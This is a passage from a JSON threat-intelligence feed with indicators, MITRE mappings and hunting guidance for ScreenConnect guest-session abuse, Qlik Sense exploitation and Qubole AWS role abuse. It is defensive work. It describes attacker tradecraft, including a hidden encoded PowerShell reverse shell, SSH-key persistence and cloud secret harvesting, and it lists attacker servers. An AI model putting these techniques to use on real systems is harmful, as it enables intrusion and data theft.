"https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.yaral", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/iocs.csv", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait", "share_url": "https://iocwatch.com/t/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/", "indicators": [ { "value": "74.208.158.106", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "IONOS VPS that Huntress found as the source of 97.8% of the crypto-exchange-named fake guest connections to MSP ScreenConnect servers (3-13 Nov 2026).", "source_url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "source_label": "Huntress – Crypto exchange names disguise unauthorized sessions on 100+ ScreenConnect servers", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "name": "Huntress" }, { "url": "https://urlhaus.abuse.ch/host/74.208.158.106/", "name": "URLhaus" } ] }, { "value": "197.47.160.252", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "Address that created the first three fake crypto-exchange guest sessions on 3 Nov 2026 at 21:26 UTC.", "source_url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "source_label": "Huntress – Crypto exchange names disguise unauthorized sessions on 100+ ScreenConnect servers", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "name": "Huntress" } ] }, { "value": "87.106.111.220", "type": "ipv4", "confidence": "med", "recommended_action": "alert", "description": "IONOS host sharing the JARM fingerprint and TLS certificates of 74.208.158.106; Huntress saw no guest sessions from it.", "source_url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "source_label": "Huntress – Crypto exchange names disguise unauthorized sessions on 100+ ScreenConnect servers", "source_name": "Huntress", "sources": [ { "url": "https://www.huntress.com/blog/fake-crypto-exchange-sessions-screenconnect", "name": "Huntress" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.kql", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.spl", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt_raw.spl", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-14/ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait/hunt.yaral", "download": "ScreenConnect-Fake-Crypto-Exchange-Guest-Sessions-MSP-Bait_hunt.yaral" } ] }, { "id": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam", "folder": "threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam", "name": "ZeroQlik Returns: Qlik Sense Servers Exploited for Reverse Shells, Go Agent and ActiveMQ/Veeam Tooling", "short": "ZeroQlik Qlik Sense exploitation", "category": "Exploitation / initial access", "published": "2026-11-11", "entry_date": "2026-11-13 11:40", "last_updated": "2026-11-13", "seq": 56, "headline": "Old Qlik Sense flaws exploited at EU firms for PowerShell reverse shells, a Go agent and SSH-key persistence", "summary": "Cynet reports that in October 2026 the Qlik Sense Scheduler.exe process on servers at several EU customers launched cmd.exe and a hidden, base64-encoded PowerShell reverse shell, all within about three minutes. The process tree matches the 2023 Cactus ransomware intrusions, so the operator most likely used the old Qlik Sense flaws CVE-2023-41266 with CVE-2023-41265, or CVE-2023-48365 (DoubleQlik). The shell is a trimmed Nishang one-liner that checks in to 45.115.26.23 over HTTP at /hb and connects back on TCP 4455. An open directory on the same server (TCP 8012) held a Go reverse-shell agent (wsvc.exe, TCP 4456) for Windows and several Linux architectures, a Bash agent (TCP 4457), a persist.ps1 script that installs OpenSSH, adds the ed25519 key node6-sm to administrators_authorized_keys, writes C:\\ProgramData\\ssh\\winc.ps1 and creates the WinUpdCheck task every five minutes, plus ActiveMQ CVE-2023-46604 payloads and a modified Veeam CVE-2024-40711 toolchain still in testing. The server address and the two persist.ps1 hashes are on the block list.", "caveat": "Cynet did not confirm which Qlik Sense vulnerability was used. The ActiveMQ and Veeam tooling looked unfinished and Cynet saw no successful exploitation with it. OpenSSH-Win64.zip on the staging server was the legitimate package, so it is not listed.", "targets": { "countries": [], "regions": [ "Europe" ], "sectors": [], "note": "Cynet saw the reverse-shell attempts on Qlik Sense servers at several EU-based customers within about three minutes in October 2026; sectors and countries are not named.", "source": { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "name": "Cynet" } }, "mitre": [ { "id": "T1190", "name": "Exploit Public-Facing Application", "url": "https://attack.mitre.org/techniques/T1190/" }, { "id": "T1059.001", "name": "PowerShell", "url": "https://attack.mitre.org/techniques/T1059/001/" }, { "id": "T1059.003", "name": "Windows Command Shell", "url": "https://attack.mitre.org/techniques/T1059/003/" }, { "id": "T1027.010", "name": "Command Obfuscation", "url": "https://attack.mitre.org/techniques/T1027/010/" }, { "id": "T1105", "name": "Ingress Tool Transfer", "url": "https://attack.mitre.org/techniques/T1105/" }, { "id": "T1053.005", "name": "Scheduled Task", "url": "https://attack.mitre.org/techniques/T1053/005/" }, { "id": "T1543.003", "name": "Windows Service", "url": "https://attack.mitre.org/techniques/T1543/003/" }, { "id": "T1098.004", "name": "SSH Authorized Keys", "url": "https://attack.mitre.org/techniques/T1098/004/" }, { "id": "T1095", "name": "Non-Application Layer Protocol", "url": "https://attack.mitre.org/techniques/T1095/" } ], "recommended_actions": [ "Patch Qlik Sense Enterprise for CVE-2023-41265, CVE-2023-41266 and CVE-2023-48365, and keep the Qlik proxy off the internet.", "Block 45.115.26.23 and search firewall, proxy and EDR logs for it on TCP 80, 4455, 4456, 4457 and 8012.", "On Qlik Sense servers, look for Scheduler.exe starting cmd.exe or PowerShell, the WinUpdCheck scheduled task, C:\\ProgramData\\ssh\\winc.ps1, C:\\Windows\\Temp\\wsvc.exe, a wsvc service named Windows Service Controller, and the node6-sm key in C:\\ProgramData\\ssh\\administrators_authorized_keys; treat a hit as a full compromise.", "Patch ActiveMQ (CVE-2023-46604) and Veeam Backup & Replication (CVE-2024-40711), which the same operator was preparing to exploit." ], "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "name": "Cynet" }, { "url": "https://thehackernews.com/2026/11/hackers-target-qlik-sense-servers-with.html", "label": "The Hacker News – Hackers target Qlik Sense servers with reverse shells, stage ActiveMQ and Veeam exploits", "name": "The Hacker News" }, { "url": "https://urlhaus.abuse.ch/host/45.115.26.23/", "label": "urlhaus.abuse.ch", "name": "URLhaus" }, { "url": "https://bazaar.abuse.ch/sample/1ff457d643e5246efb04861169153402345d50b0bb296443b93a87790909efd5/", "label": "bazaar.abuse.ch", "name": "MalwareBazaar" } ], "indicator_count": 7, "block_now_count": 4, "hunt_count": 3, "hunt_counts": { "alert": 2, "monitor": 1 }, "indicator_counts": { "other": 3, "sha256": 2, "ipv4": 1, "url": 1 }, "ioas": [ { "artefact": "Qlik Sense Scheduler.exe starting cmd.exe or powershell.exe, especially powershell -nop -w hidden -enc", "log_source": "Defender XDR DeviceProcessEvents; Sysmon event 1 in Splunk or Google SecOps", "why": "Exploiting CVE-2023-41265/41266 or CVE-2023-48365 runs commands as the Qlik Sense Scheduler service, which is what Cynet saw across several EU customers and what Arctic Wolf saw in the 2023 Cactus intrusions. Tuning: the parent must be Scheduler.exe from a Qlik Sense install path, so other products' schedulers do not match. Expected false positives: a Qlik external program task deliberately set up to run a script; confirm with the Qlik admins.", "action": "alert", "has_query": true, "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_name": "Cynet", "title": "Qlik Sense Scheduler.exe spawning a shell", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Persistence from persist.ps1: the WinUpdCheck scheduled task, C:\\ProgramData\\ssh\\winc.ps1, C:\\Windows\\Temp\\wsvc.exe, a wsvc service shown as Windows Service Controller, or administrators_authorized_keys written by PowerShell", "log_source": "Defender XDR DeviceProcessEvents, DeviceFileEvents and DeviceEvents; Windows Security 4698 and System 7045; Sysmon 1 and 11", "why": "Cynet's persist.ps1 adds the attacker's ed25519 key (comment node6-sm) to C:\\ProgramData\\ssh\\administrators_authorized_keys, installs OpenSSH and opens TCP 22, writes the reverse shell to winc.ps1 and runs it every five minutes from the WinUpdCheck task, and installs the Go agent as the wsvc service. Tuning: matches only these exact names and paths. Expected false positives: an administrator adding SSH keys with PowerShell; check for the node6-sm comment.", "action": "alert", "has_query": true, "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_name": "Cynet", "title": "WinUpdCheck task, winc.ps1, wsvc agent or node6-sm SSH key", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 2, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/block_now.txt", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/defender_xdr_indicators.csv", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.kql", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.spl", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt_raw.spl", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.yaral", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/iocs.csv", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam", "share_url": "https://iocwatch.com/t/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/", "indicators": [ { "value": "45.115.26.23", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "ZeroQlik operator server on SolidCore Hosting (AS199457, Netherlands): HTTP check-in at /hb on TCP 80, PowerShell reverse shell on TCP 4455, Go agent on TCP 4456, Bash agent on TCP 4457 and an open directory on TCP 8012 hosting agents, persistence scripts and ActiveMQ and Veeam exploit material.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" }, { "url": "https://thehackernews.com/2026/11/hackers-target-qlik-sense-servers-with.html", "name": "The Hacker News" }, { "url": "https://urlhaus.abuse.ch/host/45.115.26.23/", "name": "URLhaus" } ] }, { "value": "24ee79a519839230377585ec541863b1615286736cbeb98125afeb82d91bb768", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a persist.ps1 sample carrying the attacker's node6-sm SSH key: installs OpenSSH, adds the key to administrators_authorized_keys, writes winc.ps1 and creates the WinUpdCheck task.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" } ] }, { "value": "1ff457d643e5246efb04861169153402345d50b0bb296443b93a87790909efd5", "type": "sha256", "confidence": "high", "recommended_action": "block", "description": "SHA256 of a second persist.ps1 sample carrying the attacker's node6-sm SSH key.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" }, { "url": "https://bazaar.abuse.ch/sample/1ff457d643e5246efb04861169153402345d50b0bb296443b93a87790909efd5/", "name": "MalwareBazaar" } ] }, { "value": "http://45.115.26.23:80/hb", "type": "url", "confidence": "high", "recommended_action": "block", "description": "HTTP check-in endpoint the PowerShell launcher called with the computer name and username before starting the reverse shell.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" } ] }, { "value": "SHA256:Fl1zSuSZvRomXoyHnR7zfn3ZE9TzE+vg3xxWaQFfzeE", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Fingerprint of the attacker's ed25519 SSH public key (comment node6-sm) that persist.ps1 adds to C:\\ProgramData\\ssh\\administrators_authorized_keys.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" } ] }, { "value": "WinUpdCheck", "type": "other", "confidence": "high", "recommended_action": "alert", "description": "Scheduled task name persist.ps1 creates to run C:\\ProgramData\\ssh\\winc.ps1 (the PowerShell reverse shell) every five minutes, requesting SYSTEM.", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" } ] }, { "value": "CVE-2023-48365", "type": "other", "confidence": "high", "recommended_action": "monitor", "description": "Qlik Sense DoubleQlik unauthenticated RCE, one of the two likely entry points for the October 2026 Scheduler.exe reverse shells (the other is CVE-2023-41266 with CVE-2023-41265).", "source_url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "source_label": "Cynet – ZeroQlik Returns: Exploiting N-Days Still Pays Off", "source_name": "Cynet", "sources": [ { "url": "https://www.cynet.com/security-foundations/attack-techniques/exploiting-qlik-sense-servers/", "name": "Cynet" } ] } ], "queries": [ { "platform": "Defender XDR", "language": "KQL", "name": "hunt.kql", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.kql", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.kql" }, { "platform": "Splunk", "language": "SPL", "name": "hunt.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.spl", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.spl", "alt": { "label": "No CIM? Raw-search version", "name": "hunt_raw.spl", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt_raw.spl", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt_raw.spl" } }, { "platform": "Google SecOps", "language": "YARA-L 2.0", "name": "hunt.yaral", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam/hunt.yaral", "download": "ZeroQlik-Qlik-Sense-Exploitation-Go-Agent-ActiveMQ-Veeam_hunt.yaral" } ] }, { "id": "Qubole-Cross-Account-AWS-Role-Abuse", "folder": "threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse", "name": "Qubole Cross-Account Access Abused: Vendor IAM Credentials Used to Assume Customer AWS Roles", "short": "Qubole cross-account AWS role abuse", "category": "Supply chain / cloud intrusion", "published": "2026-11-09", "entry_date": "2026-11-13 11:40", "last_updated": "2026-11-13", "seq": 55, "headline": "Stolen Qubole vendor credentials used to assume customer AWS integration roles, steal secrets and download S3 data", "summary": "Wiz, working with Sentra and Mandiant, reports that between 14 and 26 October 2026 a threat actor used IAM credentials from AWS account 805246085872, which Qubole's data platform uses to reach customer accounts, to assume the cross-account integration roles that dozens of customers had created to trust Qubole. Every AssumeRole call carried a valid External ID and succeeded, and most of the roles were otherwise unused. Using session names starting quiam-, the actor enumerated S3, EC2, RDS, IAM and KMS, read Lambda environment variables, Secrets Manager secrets and SSM parameters, downloaded whole S3 buckets, and validated the credentials it found with TruffleHog against AWS, Entra ID and Okta. Traffic came from an OVH server (57.129.54.120, which also hosted a bootable sso_agent.iso that beacons to TCP 23458) and Mullvad VPN exits. An actor calling itself n0n has claimed the intrusion. The OVH address and the ISO hashes are on the block list; the Mullvad exits, the vendor account and its principal IDs are alert-only hunt leads.", "caveat": "Account 805246085872 and the principal AIDAJYRRH5Y3A7AAJM2HW also carry legitimate Qubole traffic from AWS infrastructure; alert on them only when the source address is not an AWS address. AIDA3W7DIFLYOLTK63SFS was seen only in attacker activity. The Mullvad addresses are shared VPN exits and are not blocked. 57.129.54.120 was attacker-controlled from 15 to 26 October 2026 and may be reassigned later. The user agents Wiz lists are common and are only useful alongside another indicator.", "targets": { "countries": [], "regions": [ "Global" ], "sectors": [ "Organisations using Qubole data platform integrations on AWS" ], "note": "Wiz saw dozens of AWS customer environments with Qubole integration roles accessed between 14 and 26 October 2026; victims are not named.", "source": { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "name": "Wiz" } }, "mitre": [ { "id": "T1199", "name": "Trusted Relationship", "url": "https://attack.mitre.org/techniques/T1199/" }, { "id": "T1078.004", "name": "Cloud Accounts", "url": "https://attack.mitre.org/techniques/T1078/004/" }, { "id": "T1580", "name": "Cloud Infrastructure Discovery", "url": "https://attack.mitre.org/techniques/T1580/" }, { "id": "T1552.001", "name": "Credentials In Files", "url": "https://attack.mitre.org/techniques/T1552/001/" }, { "id": "T1555.006", "name": "Cloud Secrets Management Stores", "url": "https://attack.mitre.org/techniques/T1555/006/" }, { "id": "T1530", "name": "Data from Cloud Storage", "url": "https://attack.mitre.org/techniques/T1530/" }, { "id": "T1090.002", "name": "External Proxy", "url": "https://attack.mitre.org/techniques/T1090/002/" } ], "recommended_actions": [ "List every IAM role whose trust policy allows account 805246085872 or any other external vendor account; delete roles for integrations you no longer use.", "Search CloudTrail from 1 October 2026 in every account with a Qubole role for AssumeRole by account 805246085872 from a non-AWS address, any activity by principal AIDA3W7DIFLYOLTK63SFS, and role sessions named quiam-*.", "For any session you find, review its Secrets Manager, SSM Parameter Store, Lambda and S3 activity, rotate every secret, parameter and Lambda environment variable the role could read, and revoke the role's active sessions.", "Block 57.129.54.120 and search 90 days of CloudTrail, proxy and identity-provider logs for it and for the Mullvad exits 45.83.220.211, 185.209.199.73 and 89.37.63.175.", "Pin vendor trust policies to the vendor's specific principal and add aws:SourceIp or aws:SourceVpce conditions; Wiz notes a source-IP condition alone would have blocked every role assumption it saw.", "Check identity-provider sign-in logs for TruffleHog user agents on service principals and Okta clients from the listed addresses." ], "sources": [ { "url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "label": "Wiz – Trusted by Default: Qubole Cross-Account Access Abused in the Wild", "name": "Wiz" }, { "url": "https://www.bleepingcomputer.com/news/security/hackers-exploit-trusted-aws-access-to-breach-multiple-cloud-environments/", "label": "BleepingComputer – Hackers exploit trusted AWS access to breach multiple cloud environments", "name": "BleepingComputer" }, { "url": "https://thehackernews.com/2026/11/hackers-exploit-quboles-trusted-aws.html", "label": "The Hacker News – Hackers exploit Qubole's trusted AWS access to breach customer accounts and steal data", "name": "The Hacker News" }, { "url": "https://www.theregister.com/security/2026/11/09/attackers-backdoor-trusted-aws-integrations-to-steal-secrets/5308553", "label": "The Register – Attackers backdoor trusted AWS integrations to steal secrets", "name": "The Register" } ], "indicator_count": 12, "block_now_count": 5, "hunt_count": 7, "hunt_counts": { "alert": 6, "monitor": 1 }, "indicator_counts": { "ipv4": 4, "other": 4, "ipv6": 1, "md5": 1, "sha1": 1, "sha256": 1 }, "ioas": [ { "artefact": "AssumeRole by AWS account 805246085872 (Qubole) from a source address that is not an AWS address, or any CloudTrail activity by principal AIDA3W7DIFLYOLTK63SFS", "log_source": "AWS CloudTrail management events, or Defender XDR CloudAppEvents with the AWS connector", "why": "Wiz saw all legitimate Qubole platform traffic come from AWS infrastructure, while every attacker role assumption came from OVH or Mullvad addresses with a valid External ID. AIDA3W7DIFLYOLTK63SFS appeared only in attacker activity. Tuning: in Defender XDR, calls whose ISP is Amazon (AWS infrastructure) or whose source is an AWS service name are excluded. In Splunk and Google SecOps, which have no ISP field here, the rule matches the vendor account only from the published attacker addresses, plus any use of AIDA3W7DIFLYOLTK63SFS; add an AWS ip-ranges lookup to widen it to any non-AWS source. Expected false positives: a Qubole support engineer assuming a role from an office address, which should itself be questioned.", "action": "alert", "has_query": true, "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_name": "Wiz", "title": "Qubole account role assumption from a non-AWS address", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "Role sessions named quiam-* (for example quiam-enum or quiam-scope-full), followed by ListSecrets, GetSecretValue, GetParameter, GetFunctionConfiguration or bulk S3 GetObject", "log_source": "AWS CloudTrail management and S3 data events, or Defender XDR CloudAppEvents with the AWS connector", "why": "The actor named every assumed-role session quiam- plus a word describing the task, then harvested Lambda environment variables, Secrets Manager secrets and SSM parameters and downloaded S3 buckets. Tuning: the quiam- prefix is specific to this actor. Expected false positives: none known.", "action": "alert", "has_query": true, "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_name": "Wiz", "title": "quiam-* role sessions harvesting secrets or S3", "queries": [ "KQL", "SPL", "YARA-L" ] }, { "artefact": "GetCallerIdentity, Entra ID service-principal sign-ins or Okta client-credential token requests with a TruffleHog user agent from 57.129.54.120, 2001:41d0:70d:7800:: or the Mullvad exits", "log_source": "AWS CloudTrail, Entra ID service principal sign-in logs, Okta system log; Defender XDR CloudAppEvents and AADSpnSignInEventsBeta", "why": "The actor validated the keys and client secrets it stole from customer accounts with TruffleHog, in bursts lasting seconds. TruffleHog is also run by security teams, so the hunt requires one of the attacker addresses as well. Expected false positives: none when paired with the addresses.", "action": "alert", "has_query": true, "source_url": "https://www.wiz.io/blog/qubole-cross-account-access-abused-in-the-wild", "source_name": "Wiz", "title": "TruffleHog credential checks from the attacker addresses", "queries": [ "KQL", "SPL", "YARA-L" ] } ], "ioa_count": 3, "ioa_note": "Behaviours are leads, not confirmed indicators, and can match legitimate activity. Compare any hit against your own baseline and environment before acting.", "files": [ { "name": "block_now.txt", "label": "Block list", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/block_now.txt", "download": "Qubole-Cross-Account-AWS-Role-Abuse_block_now.txt" }, { "name": "defender_xdr_indicators.csv", "label": "Defender XDR import", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/defender_xdr_indicators.csv", "download": "Qubole-Cross-Account-AWS-Role-Abuse_defender_xdr_indicators.csv" }, { "name": "hunt.kql", "label": "Hunting query (KQL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.kql", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.kql" }, { "name": "hunt.spl", "label": "Hunting query (SPL)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.spl", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.spl" }, { "name": "hunt_raw.spl", "label": "Hunting query (SPL, raw events)", "note": "hunt_raw.spl, for data not mapped to CIM", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt_raw.spl", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt_raw.spl" }, { "name": "hunt.yaral", "label": "Hunting query (YARA-L 2.0)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/hunt.yaral", "download": "Qubole-Cross-Account-AWS-Role-Abuse_hunt.yaral" }, { "name": "iocs.csv", "label": "All indicators (CSV)", "url": "https://raw.githubusercontent.com/daniyyell-dev/rapid-threat-intel/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse/iocs.csv", "download": "Qubole-Cross-Account-AWS-Role-Abuse_iocs.csv" } ], "repo_url": "https://github.com/daniyyell-dev/rapid-threat-intel/tree/main/threats/2026-11_November-2026/2026-11-13/Qubole-Cross-Account-AWS-Role-Abuse", "share_url": "https://iocwatch.com/t/Qubole-Cross-Account-AWS-Role-Abuse/", "indicators": [ { "value": "57.129.54.120", "type": "ipv4", "confidence": "high", "recommended_action": "block", "description": "Attacker-controlled OVH server (AS16276, Germany) used from 15 to 26 October 2026 as the main address for assuming 